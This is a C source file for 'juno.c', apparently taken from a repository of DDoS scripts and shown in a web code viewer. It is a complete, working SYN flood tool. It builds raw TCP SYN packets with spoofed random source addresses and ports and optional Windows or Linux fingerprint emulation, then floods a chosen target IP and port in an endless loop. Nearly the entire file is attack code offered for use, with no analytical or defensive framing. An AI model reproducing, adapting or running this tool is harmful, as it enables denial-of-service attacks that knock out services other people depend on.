Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/juno.c
4565 views
1
char about[] = "juno.c\n";
2
3
/*
4
for best results, compile with:
5
gcc -O2 juno.c -o juno
6
7
*/
8
9
#include <stdio.h>
10
#include <netinet/in.h>
11
#include <netdb.h>
12
#include <sys/time.h>
13
#include <sys/types.h>
14
#include <unistd.h>
15
#include <stdlib.h>
16
#include <signal.h>
17
18
#define USELESS_INFO
19
#define EMULATE_WINDOWS /* EMULATE_WINDOWS or EMULATE_LINUX */
20
#define RANDOMIZE_SOURCE_IP /* random source ips */
21
#define RANDOMIZE_SOURCE_PORT /* random source ports */
22
#undef DELAY 1000 /* microsecond delay, undef for none */
23
24
/* nothing beyond here is useful to people who can't program */
25
26
#ifndef EMULATE_WINDOWS
27
# ifndef EMULATE_LINUX
28
# define EMULATE_WINDOWS 1
29
# endif
30
#endif
31
32
struct syn {
33
unsigned char verihl;
34
unsigned char tos;
35
unsigned short len;
36
unsigned short id;
37
unsigned short flg_ofs;
38
unsigned char ttl;
39
unsigned char proto;
40
unsigned short ipsum;
41
unsigned long src;
42
unsigned long dst;
43
unsigned short sport;
44
unsigned short dport;
45
unsigned long seq;
46
unsigned long ack_seq;
47
unsigned char offset;
48
unsigned char flags;
49
unsigned short win;
50
unsigned short tcpsum;
51
unsigned short urgptr;
52
#ifdef EMULATE_WINDOWS
53
char opt[8];
54
#else
55
# ifdef EMULATE_LINUX
56
char opt[20];
57
# endif
58
#endif
59
};
60
61
int resolve(char *name,unsigned long *ip) {
62
struct hostent *host;
63
64
if ((*ip=inet_addr(name)) == INADDR_NONE) {
65
if (!(host=gethostbyname(name))) return(-1);
66
*ip=((struct in_addr *)host->h_addr)->s_addr;
67
}
68
return(0);
69
}
70
71
int getsock(void) {
72
int s = socket(PF_INET,SOCK_RAW,6),one=1;
73
74
if(s<1) return(0);
75
if(setsockopt(s,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one))<0) return(0);
76
return(s);
77
}
78
79
int getport(char *s, unsigned short *out)
80
{
81
char const *p;
82
int n;
83
84
if(!*s) return(-1);
85
for (p=s;*p;p++) if(*p<'0'||*p>'9') return(-2);
86
if(p-s>5) return(-3);
87
if(((n=atoi(s))>65535) || (n<0)) return(4);
88
*out=htons(n);
89
return(0);
90
}
91
92
void prep_syn(struct syn *syn) {
93
syn->verihl = 69;
94
syn->len = htons(sizeof(struct syn));
95
syn->flg_ofs = 64;
96
syn->proto = 6;
97
syn->flags = 2;
98
#ifdef EMULATE_WINDOWS
99
syn->ttl = 128;
100
syn->offset = 112;
101
syn->win = htons(8192);
102
syn->opt[0] = 2;
103
syn->opt[1] = 4;
104
syn->opt[2] = 5;
105
syn->opt[3] = 0xB4;
106
syn->opt[4] = 1;
107
syn->opt[5] = 1;
108
syn->opt[6] = 4;
109
syn->opt[7] = 2;
110
#else
111
# ifdef EMULATE_LINUX
112
syn->tos = 16;
113
syn->ttl = 64;
114
syn->offset = 160;
115
syn->win = htons(15536);
116
syn->opt[0] = 0x02;
117
syn->opt[1] = 0x04;
118
syn->opt[2] = 0x0F;
119
syn->opt[3] = 0x2C;
120
syn->opt[4] = 0x04;
121
syn->opt[5] = 0x02;
122
syn->opt[6] = 0x08;
123
syn->opt[7] = 0x0A;
124
syn->opt[9] = 0x05;
125
syn->opt[10] = 0x27;
126
syn->opt[11] = 0x2D;
127
syn->opt[13] = 0x05;
128
syn->opt[14] = 0x27;
129
syn->opt[15] = 0x2D;
130
syn->opt[16] = 0x01;
131
syn->opt[17] = 0x03;
132
syn->opt[18] = 0x03;
133
# endif
134
#endif
135
}
136
137
int starttime,outcount=0;
138
139
int xmit_syn(struct syn *syn,int sock,struct sockaddr_in *targ) {
140
register int count = (sizeof(struct syn)-20) >> 1,sum;
141
register unsigned short *p = &syn->sport;
142
143
#ifdef RANDOMIZE_SOURCE_IP
144
syn->src = random();
145
#endif
146
syn->id = 1+255*((random()%256)|0xFF);
147
#ifdef RANDOMIZE_SOURCE_PORT
148
syn->sport = htons(1024 + (random() & 2048));
149
#endif
150
syn->seq = random();
151
syn->ack_seq = random();
152
syn->tcpsum = 0;
153
sum = (syn->src >> 16) + (syn->src & 0xffff) + (syn->dst >> 16) +
154
(syn->dst & 0xffff) + 1536 + htons(count << 1);
155
while(count--) sum += *p++;
156
sum = (sum >> 16) + (sum & 0xffff);
157
syn->tcpsum = ~(sum += (sum >> 16));
158
159
outcount++;
160
161
return(sendto(sock,syn,sizeof(struct syn),0,targ,sizeof(struct sockaddr_in)));
162
}
163
164
#ifdef RANDOMIZE_SOURCE_IP
165
# ifdef RANDOMIZE_SOURCE_PORT
166
# define TARGET_IP_INDEX 1
167
# else
168
# define SOURCE_PORT_INDEX 1
169
# define TARGET_IP_INDEX 2
170
# endif
171
#else
172
# ifdef RANDOMIZE_SOURCE_PORT
173
# define TARGET_IP_INDEX 2
174
# else
175
# define SOURCE_PORT_INDEX 2
176
# define TARGET_IP_INDEX 3
177
# endif
178
#endif
179
180
void sig_proc(int signum) {
181
int ctime=time(NULL);
182
printf("\n -- statistics -----------------------\n");
183
printf(" packets sent: %d\n",outcount);
184
printf(" bytes sent: %d\n",outcount * sizeof(struct syn));
185
printf(" seconds active: %d\n",ctime-starttime);
186
printf(" average bytes/second: %d\n",(outcount * sizeof(struct syn))/(ctime-starttime));
187
printf(" -------------------------------------\n");
188
exit(1);
189
}
190
191
int main(int argc,char *argv[]) {
192
struct syn syn;
193
struct sockaddr_in targ;
194
int sock;
195
196
bzero(&syn,sizeof(struct syn));
197
198
if(argc<TARGET_IP_INDEX+2) {
199
fprintf(stderr,"Syntax: %s ",argv[0]);
200
#ifndef RANDOMIZE_SOURCE_IP
201
fprintf(stderr,"<source ip> ");
202
#endif
203
#ifndef RANDOMIZE_SOURCE_PORT
204
fprintf(stderr,"<source port> ");
205
#endif
206
fprintf(stderr,"<target ip> <target port>\n");
207
exit(1);
208
}
209
210
if(!(sock=getsock())) {
211
fprintf(stderr,"Failed to create socket\n");
212
exit(2);
213
}
214
215
#ifndef RANDOMIZE_SOURCE_IP
216
if(resolve(argv[1],&syn.src)) {
217
fprintf(stderr,"Invalid source ip (%s)\n",argv[1]);
218
exit(3);
219
}
220
#endif
221
222
#ifndef RANDOMIZE_SOURCE_PORT
223
if(getport(argv[SOURCE_PORT_INDEX],&syn.sport)) {
224
fprintf(stderr,"Invalid source port (%s)\n",argv[SOURCE_PORT_INDEX]);
225
exit(4);
226
}
227
#endif
228
229
if(resolve(argv[TARGET_IP_INDEX],&syn.dst)) {
230
fprintf(stderr,"Invalid target ip (%s)\n",argv[TARGET_IP_INDEX]);
231
exit(5);
232
}
233
234
if(getport(argv[TARGET_IP_INDEX+1],&syn.dport)) {
235
fprintf(stderr,"Invalid target port (%s)\n",argv[TARGET_IP_INDEX+1]);
236
exit(6);
237
}
238
239
#ifdef USELESS_INFO
240
printf("%s%s",about,"death");
241
# ifndef RANDOMIZE_SOURCE_IP
242
printf(" from %s:",inet_ntoa(syn.src));
243
# ifndef RANDOMIZE_SOURCE_PORT
244
printf("%d",ntohs(syn.sport));
245
# else
246
printf("random ");
247
# endif
248
# else
249
# ifndef RANDOMIZE_SOURCE_PORT
250
printf("random:%d",ntohs(syn.sport));
251
# endif
252
# endif
253
printf(" to %s:%d\n",inet_ntoa(syn.dst),ntohs(syn.dport));
254
#endif
255
targ.sin_addr.s_addr = syn.dst;
256
targ.sin_port = syn.dport;
257
targ.sin_family = AF_INET;
258
259
srandom(time(NULL));
260
261
starttime = time(NULL);
262
while(time(NULL) == starttime) usleep(1000);
263
264
signal(SIGHUP,&sig_proc);
265
signal(SIGINT,&sig_proc);
266
signal(SIGQUIT,&sig_proc);
267
signal(SIGILL,&sig_proc);
268
signal(SIGABRT,&sig_proc);
269
signal(SIGFPE,&sig_proc);
270
// signal(SIGKILL,&sig_proc);
271
signal(SIGSEGV,&sig_proc);
272
signal(SIGPIPE,&sig_proc);
273
signal(SIGALRM,&sig_proc);
274
signal(SIGTERM,&sig_proc);
275
signal(SIGUSR1,&sig_proc);
276
signal(SIGUSR2,&sig_proc);
277
signal(SIGCHLD,&sig_proc);
278
signal(SIGCONT,&sig_proc);
279
// signal(SIGSTOP,&sig_proc);
280
signal(SIGTSTP,&sig_proc);
281
signal(SIGTTIN,&sig_proc);
282
signal(SIGTTOU,&sig_proc);
283
284
prep_syn(&syn);
285
while(1) {
286
if(xmit_syn(&syn,sock,&targ)!=sizeof(struct syn)) {
287
fprintf(stderr,"failed to send packet\n");
288
exit(7);
289
}
290
#ifdef DELAY
291
usleep(DELAY);
292
#endif
293
}
294
}
295